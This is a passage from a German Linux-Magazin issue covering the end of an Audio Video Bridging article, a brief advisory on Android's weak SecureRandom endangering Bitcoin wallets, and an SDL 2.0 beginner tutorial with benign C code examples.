darf gespannt sein, ob andere Hersteller<br />

folgen und eigene Hardware anbieten.<br />

Offen ist, ob sie in diesem Fall die Treiber<br />

in den Open-AVB-Stack integrieren<br />

oder einen eigenen Stack bereitstellen.<br />

Wer derzeit AVB auf einem <strong>Linux</strong>-Rechner<br />

benutzen möchte, ist auf Intels I 210<br />

angewiesen. Zudem muss er noch viel<br />

Anpassungs- und Integrationsarbeit investieren.<br />

(mhu)<br />

n<br />

Infos<br />

[1] Avnu Alliance: [http:// www. avnu. org]<br />

[2] Avnu Alliance, „AVB for Automotive Use“:<br />

[http:// www. avnu. org/ files/ static<br />

_page_files/ AADD34CC‐1D09‐3519<br />

‐AD2D3D331F524CF6/ AVnu%20Automotive__White%20Paper.<br />

pdf]<br />

[3] IEEE 802.1AS, „Timing and Synchronization<br />

for Time (PTP)“:<br />

[http:// standards. ieee. org/ findstds/​<br />

standard/ 802. 1AS‐2011. html]<br />

[4] IEEE 802.1Q-2011, Paragraph 35, „Stream<br />

Reservation Protocol (SRP)“:<br />

[http:// standards. ieee. org/ findstds/​<br />

standard/ 802. 1Q‐2011. html]<br />

[5] IEEE 802.1ak, „Multiple Registration Protocol<br />

(MRP)“: [http:// standards. ieee. org/​<br />

findstds/ standard/ 802. 1ak‐2007. html]<br />

[6] IEEE 802.1Q-2011, Paragraph 34, „Forwarding<br />

and Queueing Enhancements for<br />

Time-Sensitive Streams“:<br />

[http:// standards. ieee. org/ findstds/​<br />

standard/ 802. 1Q‐2011. html]<br />

[7] IEEE 1722, „Layer 2 Transport Protocol for<br />

Time Sensitive Applications“:<br />

[http:// standards. ieee. org/ findstds/​<br />

standard/ 1722‐2011. html]<br />

[8] IEC 61883 [http:// www.​<br />

iec‐normen. de/ suche/ ergebnis/ ?​<br />

produktsuche=IEC+61883]<br />

[9] IEEE 1722.1, (AVDECC) D23v2, „Audio/​<br />

Video Discovery, Enumeration, Configuration<br />

and Control“: [http:// standards. ieee.​<br />

org/ develop/ project/ 1722. 1. html]<br />

[10] Riedel: [http:// www. riedel. net]<br />

[11] Audinate: [http:// www. audinate. com]<br />

[12] Uman [http:// umannet. de]<br />

[13] XMOS: [http:// www. xmos. com]<br />

[14] Labx Technologies:<br />

[http:// www. labxtechnologies. com]<br />

[15] DSP4You: [http:// www. dsp4you. com]<br />

[16] Netgear: [http:// www. netgear. de]<br />

[17] Extreme Networks:<br />

[http:// www. extremenetworks. com]<br />

[18] Marvell-Netzwerkkarten: [http:// www.​<br />

marvell. com/ pc‐connectivity/]<br />

[19] Open AVB: [https:// github. com/​<br />

intel‐ethernet/ Open‐AVB]<br />

AVB 11/2013<br />

Know-how<br />

www.linux-magazin.de<br />

91<br />

Abbildung 4: Wireshark findet im Netzwerkverkehr die Nachricht »TalkerAdvertise« des Protokolls MRP.<br />

Der Autor<br />

Christoph Kuhr stammt aus dem Rheinland und<br />

arbeitet als freiberuflicher Tontechniker sowie<br />

Digital-Audio-Entwickler. Sein Bachelorstudium<br />

der technischen Informatik hat er mit einer<br />

Arbeit über AVB abgeschlossen. In der Freizeit<br />

spielt er leidenschaftlich gerne Gitarre.


Know-how<br />

www.linux-magazin.de Insecurity Bulletin 11/2013<br />

92<br />

Insecurity Bulletin: Unsichere Zufallszahlen in Android<br />

Schwacher Zufall<br />

Gute Zufallszahlen sind der Schlüssel zu starker Kryptographie. Eine Schwäche in Androids Zahlengenerator<br />

gefährdet den Kontostand von Anwendern, die mit der Alternativwährung Bitcoin bezahlen. Mark Vogelsberger<br />

© Mellimage, Fotolia.com<br />

Die Entwickler digitaler Geldbörsen für<br />

An droid schlugen Anfang August 2013<br />

Alarm: Die Bitcoin-Wallets waren unsicher,<br />

ein Angreifer konnte an private<br />

kryptographische Schlüssel des Besitzers<br />

kommen und damit Geld abräumen [1].<br />

Ursache ist ein Programmierfehler in<br />

Googles Implementierung der Java-Klasse<br />

»SecureRandom« der Java Cryptography<br />

Architecture (JCA). Er führt dazu, dass<br />

die Funktion »SecureRandom()« unter<br />

Android keine korrekten Pseudozufallszahlen<br />

erzeugt.<br />

Update für die Geldbörse<br />

Dies wirkt sich auf die Sicherheit kryptographischer<br />

Verfahren aus, die bei<br />

Bitcoin-Transaktionen zum Einsatz kommen.<br />

Jede Transaktion mit der Internetwährung<br />

ist mit einem privaten Schlüssel<br />

signiert. Der Signiervorgang verwendet<br />

eine von Android generierte Zufallszahl,<br />

die aber wegen des Programmierfehlers<br />

nicht völlig zufällig<br />

war, da die erwähnte Java-Klasse<br />

den Generator nicht korrekt initialisierte.<br />

Android-Benutzer<br />

berichteten in Foren, dass sie<br />

mehrere Bitcoin-Transaktionen<br />

mit gleichen Zufallszahlen bemerkten.<br />

Hierdurch war die<br />

verwendete Signatur identisch<br />

und ein Angreifer konnte den<br />

privaten Schlüssel des Besitzers<br />

der Bitcoin-Geldbörse errechnen.<br />

Hat der Angreifer erst<br />

einmal diesen Schlüssel, so darf<br />

er Transaktionen im Namen des<br />

Opfers ausführen. Angeblich haben<br />

im Zuge solcher Attacken<br />

mehrere Tausend US-Dollar den<br />

Besitzer gewechselt. Ein Proofof-Concept-Exploit<br />

von Nikolai<br />

Elenkow steht im <strong>Web</strong> zur Verfügung und<br />

funktioniert unter Android 4.3 [2].<br />

Anfällig für die Attacke sind Bitcoin-<br />

Nutzer, die ihren privaten Schlüssel auf<br />

einem Android-Gerät speichern und<br />

von dort Bitcoin-Transaktionen ausgeführt<br />

haben. Das gilt aber nur, wenn die<br />

eingesetzte Applikation die fehlerhafte<br />

Java-Klasse verwendet. Die folgenden<br />

Bitcoin-Applikationen sind betroffen:<br />

Bitcoin Wallet (Abbildung 1), Bitcoin<br />

Spinner, Blockchain.info und Mycellium<br />

Wallet. Korrigierte Updates dieser Apps<br />

sind erhältlich. Applikationen, die sich<br />

auf die Device-Datei »/dev/urandom«<br />

zum Generieren von Pseudozufallszahlen<br />

verlassen, sind von der Schwachstelle<br />

nicht betroffen.<br />

Für Anwendungsentwickler ist ein Beitrag<br />

[3] im Android-Developer-Blog<br />

interessant. Er beschreibt, wie man<br />

Android-Applikationen modifiziert, um<br />

diese Schwachstelle zu umgehen. Offen-<br />

bar sieht der Android-Hersteller Google<br />

vornehmlich die App-Entwickler in der<br />

Pflicht, für die Sicherheit der Anwendungen<br />

zu sorgen. Anfragen des <strong>Linux</strong>-<br />

<strong>Magazin</strong>s an den Internetkonzern, ob<br />

es Nachbesserungen an Androids JCA-<br />

Umsetzung geben werde, blieben unbeantwortet.<br />

(mhu) <br />

n<br />

Infos<br />

[1] Android Security Vulnerability: [http://​<br />

bitcoin. org/ en/ alert/ 2013‐08‐11‐android]<br />

[2] Proof-of-Concept von Nikolay Elenkov:<br />

[https:// gist. github. com/ nelenkov/​<br />

581f9be65dcc0b6b35b9]<br />

[3] Alex Klyubin, „Some SecureRandom<br />

Thoughts“: [http:// android‐developers.​<br />

blogspot. com. au/ 2013/ 08/​<br />

some‐securerandom‐thoughts. html]<br />

Abbildung 1: Neben anderen wurde die App Bitcoin<br />

Wallet ein Opfer der schwachen Zufallszahlen.


Programmieren<br />

www.linux-magazin.de SDL 2.0 11/2013<br />

94<br />

Simple Directmedia Layer 2.0<br />

Einsteigerfreundlich<br />

Nach mehreren Jahren Entwicklungsarbeit ist im August die modernisierte Version 2.0 der Bibliothek SDL erschienen.<br />

Trotz der zahlreichen Neuerungen fällt der Um- und Einstieg erstaunlich leicht. Tim Schürmann<br />

Die Entwicklerversionen trugen zunächst<br />

die Nummer 1.3, aufgrund der vielen<br />

internen Änderungen machten die Entwickler<br />

im Februar 2012 jedoch den<br />

Sprung auf die Nummer 2.0. Obwohl<br />

dieser neue Versionszweig bereits in vielen<br />

Softwareprojekten zum Einsatz kam,<br />

zögerten die Entwickler, ihm den Stempel<br />

„Stabil“ aufzudrücken. Erst im August<br />

dieses Jahres zog Erfinder und Projektleiter<br />

Sam Lantinga einen Schlussstrich und<br />

gab den aktuellen Entwicklungsstand offiziell<br />

als Version 2.0.0 frei.<br />

© kzenon, 123RF.com<br />

Seit 1998 legt Simple Directmedia Layer<br />

(SDL) die Grundlage für unzählige Spiele,<br />

Multimedia-Anwendungen und sogar Virtualisierungslösungen.<br />

Die kleine plattformunabhängige<br />

Bibliothek erleichtert<br />

es Anwendungen, auf die Grafikkarte,<br />

die Audiohardware, die Tastatur und andere<br />

Eingabegeräte zuzugreifen. Da sie<br />

für viele verschiedene Plattformen und<br />

Betriebssysteme erhältlich ist, lassen sich<br />

mit ihr entwickelte Programme leicht<br />

portieren (siehe Kasten „Unterstützte<br />

Betriebssysteme“). Ohne sie müssten<br />

<strong>Linux</strong>-Nutzer vermutlich immer noch auf<br />

Unterstützte Betriebssysteme<br />

Offiziell unterstützte die SDL 2.0.0 zum Redaktionsschluss<br />

folgende Betriebssysteme:<br />

n <strong>Linux</strong> ab Kernel 2.6<br />

n Android ab Version 2.3.3<br />

n Windows XP, Vista, 7 und 8<br />

n Mac OS X ab Version 10.5<br />

n I-OS ab Version 5.1.1<br />

Unter Free BSD, Net BSD, Open BSD und Solaris<br />

soll sich die SDL 2.0 zwar ebenfalls übersetzen<br />

die Umsetzungen großer Spiele wie Portal<br />

warten (Abbildungen 1 und 2).<br />

Erstaunliche zwölf Jahre lang bildete<br />

die Version 1.2 der SDL die Grundlage<br />

zahlreicher Programme. Änderungen gab<br />

es immer nur in homöopathischen Dosen,<br />

die letzte Revision (1.2.15) erschien<br />

im Januar 2012. Die SDL 1.2 gilt damit<br />

zwar als äußerst robust, die Hardware-<br />

Entwicklung hat sie jedoch gnadenlos<br />

überholt. Im Hintergrund arbeiteten die<br />

SDL-Entwickler deshalb schon seit mehreren<br />

Jahren parallel an einer runderneuerten,<br />

modernen Variante.<br />

und einsetzen lassen, die Entwickler übernehmen<br />

dafür aber keine Garantie. Zudem existieren<br />

inoffizielle Portierungen auf Haiku, die<br />

Playstation Portable und Pandora.<br />

Damit ist die Liste der unterstützten Systeme<br />

deutlich kürzer als die der SDL 1.2. Mangels<br />

Maintainer musste das Team insbesondere die<br />

Portierungen für ältere Betriebssysteme wie<br />

OS/​2 und Beos streichen.<br />

2.0 macht Tempo<br />

Die neue Version kann endlich mehrere<br />

Fenster gleichzeitig öffnen, erkennt<br />

mehrere angeschlossene Bildschirme und<br />

kann mehrere Audiogeräte gleichzeitig<br />

ansteuern. Zur Ausgabe von 2-D-Grafik<br />

nutzt die SDL ab sofort die Hardwarebeschleunigung<br />

moderner 3-D-Grafikkarten.<br />

Unter <strong>Linux</strong> finden die Bilddaten<br />

dabei über die Open-GL-Schnittstelle ihren<br />

Weg auf den Bildschirm. Im Notfall<br />

oder auf Wunsch berechnet die schlanke<br />

Bibliothek aber auch die Grafik mit einem<br />

Software-Renderer selbst.<br />

Die SDL bietet weiterhin nur Zeichenfunktionen<br />

für 2-D-Grafiken an. 3-D-Grafiken<br />

erzeugen Programmierer mit Open GL ab<br />

Version 3.0 beziehungsweise Open GL ES<br />

auf Mobilgeräten. Die SDL übernimmt<br />

dann lediglich alle übrigen Aufgaben,<br />

etwa die Audio-Ausgabe oder das Abfragen<br />

der Tastatur. Unter Windows, Mac OS<br />

X und <strong>Linux</strong> kann die neue SDL-Version<br />

endlich mit Force-Feedback-Geräten umgehen,<br />

zudem unterstützt sie Eingabegeräte<br />

mit Touch-Oberfläche.<br />

Verbessertes Powermanagement soll für<br />

längere Laufzeiten vor allem auf Mobilgeräten<br />

sorgen. Obendrauf kommen


Abbildung 1: Auf der SDL basieren fast alle über Steam angebotenen Spiele,<br />

darunter auch Blockbuster wie das Knobelspiel Portal.<br />

zahlreiche kleine Verbesserungen, etwa<br />

die Unicode-Unterstützung. Vorhandene<br />

SDL-Programme lassen sich recht leicht<br />

auf die SDL 2.0 portieren, aufgrund der<br />

zahlreichen Änderungen reicht jedoch<br />

ein Neukompilieren nicht aus.<br />

Auch bei der Lizenz gab es eine Änderung:<br />

Die LGPL-Lizenz der alten SDL 1.2<br />

erschwerte die Nutzung in kommerziellen<br />

Projekten. Chefentwickler Sam Lantinga<br />

gründete zwischenzeitlich sogar eine<br />

Firma, über die Entwickler eine Lizenz<br />

für kommerzielle Programme erwerben<br />

konnten. Die neue Version 2.0 steht hingegen<br />

unter der liberaleren Zlib-Lizenz,<br />

die eine uneingeschränkte kommerzielle<br />

Nutzung der Bibliothek erlaubt.<br />

Inbetriebnahme<br />

Die in C geschriebene SDL bietet selbst<br />

nur eine C-Schnittstelle an. Diese lässt<br />

sich aber direkt aus C++-Programmen<br />

nutzen, Bindungen gibt es zudem schon<br />

für Python, C# und Pascal [2]. Da die<br />

SDL 2 noch keiner Distribution beiliegt,<br />

muss der Entwickler sie selbst übersetzen<br />

und einspielen. Um alle Funktionen nutzen<br />

zu können, benötigt er neben einem<br />

C-Compiler und »make« auch noch die<br />

Entwicklerpakete zu X11, Open GL, Alsa,<br />

Pulseaudio, Libudev, Pthreads, Dbus und<br />

je nach Bedarf noch die des ESD (Enlightened<br />

Sound Daemon), des Arts-Audio-<br />

Servers und die Libts-Bibliothek zur Ansteuerung<br />

von Touchscreens.<br />

Die Installation ist mit dem üblichen<br />

Dreisprung schnell erledigt: »./configure;<br />

make; make install«.<br />

Die Ausgaben von<br />

»configure« sollte der<br />

Anwender nach nicht<br />

erfüllten Abhängigkeiten<br />

durchsuchen.<br />

Unter Umständen fehlen<br />

sonst später im Betrieb<br />

benötigte Funktionen,<br />

zum Beispiel<br />

die Unterstützung für<br />

den ESD. Nach der Installation<br />

sollte Root<br />

sicherheitshalber einmal<br />

»ldconfig« anwerfen.<br />

SDL 2 lässt sich<br />

übrigens problemlos<br />

neben der alten SDL<br />

1.2 installieren und<br />

betreiben: Die Bibliothek selbst heißt<br />

»libSDL2.so«, die Headerdateien landen<br />

im Unterverzeichnis »SDL2«.<br />

Erste Gehversuche<br />

Da die SDL 2.0 ein klares und einfaches<br />

API besitzt, fallen die ersten Schritte<br />

leicht. Wer bereits mit der alten Version<br />

1.2 gearbeitet hat, dürfte zudem einiges<br />

wiedererkennen. Im eigenen Programm<br />

bindet der Entwickler zunächst die SDL<br />

über eine einzige Headerdatei ein:<br />

#include "SDL2/SDL.h"<br />

Bevor er die Funktionen der SDL nutzen<br />

kann, muss er die Subsysteme der SDL<br />

initialisieren. Das übernimmt:<br />

SDL_Init(SDL_INIT_EVERYTHING);<br />

Als Parameter erwartet<br />

»SDL_Init()« ein so<br />

genanntes Flag, das<br />

angibt, welche Subsysteme<br />

die Funktion<br />

initialisieren soll. Das<br />

Flag »SDL_INIT_EVE-<br />

RYTHING« aktiviert<br />

alle verfügbaren Subsysteme.<br />

Wer später<br />

nur Grafiken ausgeben<br />

möchte, verwendet alternativ<br />

»SDL_INIT_<br />

VIDEO«.<br />

Mehrere Flags darf der<br />

Programmierer mit einem<br />

logischen Oder<br />

verknüpfen und so<br />

mehrere ausgewählte Subsysteme initialisieren.<br />

Die folgende Anweisung aktiviert<br />

das Video- und das Audio-Subsystem:<br />

SDL_Init(SDL_INIT_VIDEO | SDL_INIT_AUDIO);<br />

War der Aufruf erfolgreich, liefert »SDL_<br />

Init()« eine »0« zurück. Bei einem negativen<br />

Wert ist hingegen ein Fehler aufgetreten.<br />

Die Fehlermeldung dazu liefert die<br />

Funktion »SDL_GetError()«. Diese Form<br />

der Fehlerbehandlung nutzen auch die<br />

meisten anderen SDL-Funktionen. Damit<br />

eigener Code nicht gegen die Wand fährt,<br />

sollte der Programmierer folglich immer<br />

den Rückgabewert auswerten:<br />

if (SDL_Init(SDL_INIT_EVERYTHING) != 0){<br />

printf("Fehler: %s \n", SDL_GetError());<br />

return 1;<br />

}<br />

War dies SDL-1.2-Nutzern noch vertraut,<br />

folgt jetzt Neuland: Die SDL 2 schmeißt<br />

das gute alte »SDL_SetVideoMode()«<br />

über Bord.<br />

Verlief die Initialisierung erfolgreich, kann<br />

der Anwender ein Fenster öffnen. Die<br />

dafür zuständige Funktion »SDL_Create-<br />

Window()« verlangt als Parameter einen<br />

Namen für die Titelleiste, die Position der<br />

linken oberen Ecke des Fensters auf dem<br />

Bildschirm sowie die Größe des Fensters<br />

in Pixeln:<br />

SDL_Window *fenster = SDL_CreateWindow(<br />

"Hallo Welt!", 250, 300, 640, 480,U<br />

SDL_WINDOW_SHOWN);<br />

Hier trägt das Fenster den Titel »Hallo<br />

Welt!«, erscheint 250 Pixel vom linken<br />

und 300 Pixel vom oberen Bildschirmrand<br />

Abbildung 2: Aber auch ernsthafte Anwendungen, zum Beispiel die Virtualisierungssoftware<br />

Qemu und Virtualbox, nutzen die SDL unter anderem für<br />

ihre Bildschirmausgaben.<br />

SDL 2.0 11/2013<br />

Programmieren<br />

www.linux-magazin.de<br />

95


Programmieren<br />

www.linux-magazin.de SDL 2.0 11/2013<br />

96<br />

entfernt auf dem Desktop und ist außerdem<br />

640 mal 480 Pixel groß. Das Flag<br />

»SDL_WINDOW_SHOWN« sorgt dafür,<br />

dass das Fenster definitiv auf dem Bildschirm<br />

zu sehen ist – »SDL_WINDOW_<br />

HIDDEN« würde es zunächst verstecken.<br />

Eine Alternative wäre »SDL_WINDOW_<br />

FULLSCREEN«, was den Fensterinhalt im<br />

Vollbildmodus anzeigt. Auch hier gibt es<br />

noch weitere Flags, die man per Oder<br />

verknüpfen kann: So entfernt »SDL_WIN-<br />

DOW_BORDERLESS« den Fensterrahmen,<br />

während »SDL_WINDOW_MAXIMIZED«<br />

das Fenster maximiert.<br />

Die Funktion »SDL_CreateWindow()« liefert<br />

einen Zeiger auf ein »SDL_Window«-<br />

Objekt zurück. Über ihn lässt sich das<br />

Fenster gleich ansprechen. Sollte ein<br />

Fehler aufgetreten sein, dann ist der Zeiger<br />

»NULL«. Den Grund verrät wieder<br />

»SDL_GetError()«.<br />

Großer Künstler<br />

Als Nächstes benötigt der Entwickler einen<br />

so genannten Renderer, das ist der<br />

Maler, der in das Fenster zeichnet. Wie<br />

er das macht, bleibt ihm selbst überlassen.<br />

Unter Windows könnte er etwa<br />

Direct X verwenden, unter <strong>Linux</strong> nutzt er<br />

normalerweise Open GL. Einen Renderer<br />

erzeugt die Funktion »SDL_CreateRenderer()«:<br />

SDL_Renderer *renderer =U<br />

SDL_CreateRenderer(fenster, ‐1,U<br />

SDL_RENDERER_ACCELERATED |U<br />

SDL_RENDERER_PRESENTVSYNC);<br />

Als ersten Parameter erwartet sie einen<br />

Zeiger auf das Fenster, in das der Ren-<br />

Helfershelfer<br />

Die SDL deckt mit ihrem Funktionsumfang nur<br />

den Grundbedarf eines Spieleprogrammierers<br />

ab. So lädt sie beispielsweise ausschließlich<br />

Bilder im BMP-Format. Daher haben einige Entwickler<br />

weitere Hilfsbibliotheken geschrieben:<br />

SDL_net vereinfacht zum Beispiel den Zugriff<br />

auf das Netzwerk, SDL_mixer ermöglicht das<br />

Abmischen von Audiomaterial, SDL_ttf verschönert<br />

Texte mit Truetype-Schriften, während<br />

SDL_Image Bilder in gängigen Dateiformaten<br />

einlädt.<br />

Diese und einige weitere Bibliotheken haben<br />

sogar den Status einer „offiziellen Erweiterung“<br />

erhalten und eine Heimat auf der SDL-<br />

Homepage gefunden. Seit der Neugestaltung<br />

derer später alle Ausgaben schieben soll.<br />

Die »‐1« weist die SDL an, einen Renderer<br />

mit ganz bestimmten Eigenschaften<br />

zu wählen. Welche das sind, geben die<br />

nachfolgenden Flags vor. Im Beispiel<br />

soll der Renderer die Hardwarebeschleunigung<br />

der Grafikkarte nutzen (»SDL_<br />

RENDERER_ACCELERATED«) und den<br />

Bildaufbau mit der Bildschirmfrequenz<br />

synchronisieren (»SDL_RENDERER_PRE-<br />

SENTVSYNC«). »SDL_CreateRenderer()«<br />

spuckt schließlich einen Zeiger auf einen<br />

passenden Renderer aus. Ist dieser Zeiger<br />

»NULL«, trat ein Fehler auf, den Grund<br />

verrät »SDL_GetError()«.<br />

Den Renderer kann der Entwickler nun<br />

dazu anweisen, den Inhalt des Fensters<br />

zu leeren:<br />

SDL_SetRenderDrawColor(renderer, 235, 235,U<br />

235, 255);<br />

SDL_RenderClear(renderer);<br />

Die erste Funktion setzt die Zeichenfarbe<br />

auf ein Hellgrau mit dem RGB-Wert<br />

»235, 235, 235«. Der letzte Parameter<br />

von »SDL_SetRenderDrawColor()« legt<br />

die Transparenz fest (genauer gesagt den<br />

Wert des Alphakanals). Im vorliegenden<br />

Fall soll der Renderer das Hellgrau deckend<br />

auftragen. »SDL_RenderClear()«<br />

malt anschließend das Fenster mit der<br />

eingestellten Farbe aus.<br />

Einladung<br />

Um im Fenster ein Bild anzuzeigen, muss<br />

der Programmierer es erst einmal laden.<br />

Die SDL selbst bietet dazu lediglich die<br />

Funktion »SDL_LoadBMP()« an, die ein<br />

unkomprimiertes Bild im BMP-Format in<br />

der Homepage sind sie jedoch nicht mehr direkt<br />

verlinkt [3].<br />

Zusammen mit der SDL haben auch die vier<br />

oben genannten Bibliotheken einen Sprung auf<br />

Version 2 gemacht. Im Wesentlichen unterstützen<br />

sie die neuen Funktionen der SDL. So kann<br />

SDL_Image das geladene Bild direkt als Textur<br />

zurückgeben. Die folgende Anweisung holt so<br />

das Tiff-Foto »logo.tiff« von der Festplatte:<br />

SDL_Texture *logo = IMG_LoadTexture(U<br />

renderer, "logo.tiff");<br />

Da die Bibliotheken folglich nur noch mit SDL<br />

2 zusammenarbeiten, heißen sie jetzt SDL2_<br />

Image, SDL2_ttf, SDL2_mixer und SDL2_net.<br />

den Speicher schaufelt. Dazu braucht der<br />

Entwickler ihr lediglich den Dateinamen<br />

zu übergeben:<br />

SDL_Surface *bild = SDL_LoadBMP("logo.bmp");<br />

Wie schon unter der alten SDL 1.2 ist das<br />

Ergebnis ein Zeiger auf eine so genannte<br />

Surface. Diese Datenstruktur kapselt einfach<br />

die Bitmap im Hauptspeicher. Wer<br />

andere Dateiformate einlesen möchte,<br />

muss diese entweder selbst laden und in<br />

eine »SDL_Surface«-Datenstruktur hämmern<br />

oder zu einer Hilfsbibliothek wie<br />

der beliebten SDL_Image greifen (siehe<br />

Kasten „Helfershelfer“).<br />

Konvertit<br />

An dieser Stelle ergibt sich ein kleines<br />

Problem: Der Renderer kann nur Texturen<br />

und keine Surface in das Fenster<br />

malen. Folglich muss der Programmierer<br />

die Surface in eine Textur konvertieren:<br />

SDL_Texture *textur = U<br />

SDL_CreateTextureFromSurface(U<br />

renderer, bild);<br />

Da die Surface jetzt überflüssig ist, gibt<br />

der Entwickler den von ihr belegten Speicherplatz<br />

wieder frei:<br />

SDL_FreeSurface(bild);<br />

Abschließend muss er nur noch den Renderer<br />

anweisen, die Textur in das Fenster<br />

zu kopieren:<br />

SDL_RenderCopy(renderer, textur, NULL,U<br />

NULL);<br />

Das »NULL« im vorletzten Parameter<br />

weist den Renderer dazu an, die komplette<br />

Textur – und nicht nur einen Ausschnitt<br />

– in das Fenster zu zeichnen. Ist<br />

der letzte Parameter »NULL«, passt der<br />

Renderer die Textur in das Fenster ein.<br />

Sofern die Textur (also das geladene Bild)<br />

andere Abmessungen als das Fenster aufweist,<br />

führt das zwangsweise zu einer<br />

Verzerrung wie in Abbildung 3.<br />

Einpassen<br />

Um das zu ändern, verrät der Entwickler<br />

der Funktion »SDL_RenderCopy()« noch<br />

die Größe der Textur sowie die Position,<br />

an der die linke obere Ecke des Bildes im<br />

Fenster erscheinen soll. Diese Informationen<br />

erwartet »SDL_RenderCopy()« in


SDL 2.0 11/2013<br />

Programmieren<br />

www.linux-magazin.de<br />

97<br />

Abbildung 3: Hier hat »SDL_RenderCopy()« Das <strong>Linux</strong>-<strong>Magazin</strong>-Logo in die<br />

Abmessungen des Fensters gezwungen.<br />

Abbildung 4: Erst wenn man »SDL_RenderCopy()« die Abmessungen und die Position<br />

der Textur mit auf den Weg gibt, erscheint das Logo korrekt.<br />

einem »SDL_Rect«. Das ist eine Datenstruktur,<br />

die schlicht die Abmessungen<br />

eines Rechtecks kapselt. Zunächst zeichnet<br />

»SDL_RECT pos;« also ein Rechteck.<br />

SDL zählt die Pixel von der linken oberen<br />

Fensterecke, beginnend bei »0«. Im Beispiel<br />

soll die linke obere Ecke der Textur<br />

150 Pixel vom linken Fensterrand und 100<br />

Pixel vom oberen Fensterrand entfernt erscheinen.<br />

Diese beiden Werte wandern in<br />

die Variablen »x« und »y«:<br />

pos.x = 150;<br />

pos.y = 100;<br />

Wie breit und hoch die Textur im Fenster<br />

erscheint, verraten die Variablen »pos.w«<br />

und »pos.h«. Damit der Renderer die Textur<br />

nicht verzerrt, weist der Programmierer<br />

ihnen folglich die Breite und Höhe<br />

der Textur zu. Diese beiden Werte kann<br />

er entweder etwas umständlich mit einem<br />

Malprogramm herausfinden oder<br />

von der Funktion »SDL_QueryTexture()«<br />

ermitteln lassen:<br />

nur noch einen Zeiger auf »pos« zu übergeben,<br />

das Ergebnis zeigt Abbildung 4:<br />

SDL_RenderCopy(renderer, textur, NULL,U<br />

&pos);<br />

Nach dem gleichen Prinzip malt der<br />

Programmierer weitere Texturen in das<br />

Fenster. Dabei zeichnet der Renderer die<br />

zuerst kopierten Texturen als Erstes. In<br />

folgendem Beispiel<br />

SDL_RenderCopy(renderer, hinten, NULL,U<br />

NULL);<br />

SDL_RenderCopy(renderer, vorne, NULL, NULL);<br />

würde der Renderer erst die Textur »hinten«<br />

in das Fenster malen und anschließend<br />

die Textur »vorne« drüberkleben.<br />

Zum Abschluss muss der Code den Renderer<br />

noch anweisen den aktualisierten<br />

Fensterinhalt anzuzeigen:<br />

SDL_RenderPresent(renderer);<br />

Dieser letzte Schritt scheint nur auf den<br />

ersten Blick überflüssig: Würde der Renderer<br />

jeden Zeichenvorgang direkt in<br />

das Fenster malen, müsste der spätere<br />

Anwender unter Umständen dabei zusehen,<br />

wie sich das Bild aus den einzelnen<br />

Texturen aufbaut. Die Folge wären unschöne,<br />

flackernde Animationen.<br />

Haltestelle<br />

Wer die Codestücke jetzt zu einem Programm<br />

zusammenfügen und starten<br />

würde, bekäme ein kurz aufgerissenes<br />

Fenster zu sehen, das sich sofort wieder<br />

beendet. Um das zu verhindern, könnte<br />

man das Programm einfach für 2 Sekunden<br />

anhalten:<br />

SDL_Delay(2000);<br />

Eleganter ist es jedoch, den Benutzer<br />

selbst das Programm per Tastendruck,<br />

einen Klick in das Fenster oder über den<br />

Schließen-Knopf in der Titelleiste beenden<br />

zu lassen. Ab hier dürfte SDL-1.2-<br />

Nutzern wieder einiges sehr bekannt<br />

SDL_QueryTexture(textur, NULL, NULL,U<br />

&pos.w, &pos.h);<br />

Sie liefert neben der Weite und Höhe der<br />

Textur auch das Pixelformat (RGB, YUV<br />

oder Ähnliches) sowie einen Zeiger auf<br />

die eigentliche Bitmap im Speicher. Diese<br />

Informationen sind hier nicht weiter von<br />

Interesse, weshalb sie »SDL_QueryTexture()«<br />

aufgrund der beiden »NULL« für<br />

sich behält.<br />

In »pos« befinden sich jetzt die Position<br />

und die Größe, in der der Renderer die<br />

Textur in das Fenster malen soll. Der<br />

Entwickler braucht »SDL_RenderCopy()«<br />

Listing 1: Ereignisbehandlung in SDL<br />

01 SDL_Event ereignis;<br />

02 int quit=1;<br />

03 while(quit) {<br />

04 SDL_WaitEvent(&ereignis);<br />

05 switch(ereignis.type) {<br />

06 case SDL_QUIT:<br />

07 printf("Fenster geschlossen\n");<br />

08 quit=0;<br />

09 break;<br />

10 case SDL_KEYDOWN:<br />

11 printf("Tastendruck\n");<br />

12 printf("Physische Taste %s als Taste %s<br />

gedrückt\n",<br />

13 SDL_GetScancodeName(ereignis.key.<br />

keysym.scancode),<br />

14 SDL_GetKeyName(ereignis.key.keysym.<br />

sym));<br />

15 quit=0;<br />

16 break;<br />

17 case SDL_MOUSEBUTTONDOWN:<br />

18 printf("Linke Maustaste gedrückt an\n");<br />

19 printf("Position: (%d, %d)\n", ereignis.<br />

motion.x, ereignis.motion.y);<br />

20 quit=0;<br />

21 break;<br />

22 }<br />

23 }


Programmieren<br />

www.linux-magazin.de SDL 2.0 11/2013<br />

98<br />

vorkommen: Tastendrücke, Mausklicks<br />

und andere Eingaben sind für die SDL<br />

Ereignisse.<br />

Bitte warten<br />

Jedes ausgelöste Ereignis landet zunächst<br />

in einer Warteschlange. Das nächste Ereignis<br />

in der Schlange holt die Funktion<br />

»SDL_WaitEvent()« ab. Sollte die Warteschlange<br />

leer sein, wartet »SDL_Wait-<br />

Event()« so lange, bis ein Ereignis auftritt.<br />

Dann muss der Programmierer nur noch<br />

abfragen, um welches Ereignis es sich<br />

handelt. Das dabei entstehende Switch/​<br />

Case-Monster zeigt Listing 1.<br />

Die Hilfsvariable »quit« signalisiert lediglich,<br />

ob das Programmende erreicht<br />

ist. »SDL_WaitEvent()« holt aus der Warteschlange<br />

das nächste Ereignis ab und<br />

steckt es in eine Datenstruktur vom Typ<br />

»SDL_Event«. Diese speichert in der Variablen<br />

»type«, um welche Art Ereignis es<br />

sich handelt. Drückt der Anwender eine<br />

Taste, besitzt »type« den Wert »SDL_KEY-<br />

DOWN«. Um welche Taste es sich dabei<br />

handelt, verrät das Ereignis in der Variablen<br />

»ereignis.key.keysym.scancode«.<br />

Die Tastennummer übersetzt »SDL_Get-<br />

ScancodeName()« in den entsprechenden<br />

Buchstaben beziehungsweise die Tastenbezeichnung.<br />

Da die Tastatur auf jedem System anders<br />

belegt ist, weist die SDL jeder Taste<br />

noch einen symbolischen Namen zu.<br />

Er liegt in der Variablen »ereignis.key.<br />

keysym.sym«, die Funktion »SDL_Get-<br />

KeyName()« macht daraus ein lesbares<br />

Ergebnis (siehe Abbildung 5). Sofern der<br />

Anwender in das Fenster klickt, erzeugt<br />

er ein Ereignis vom Typ »SDL_MOUSE-<br />

BUTTONDOWN«. Die Koordinaten des<br />

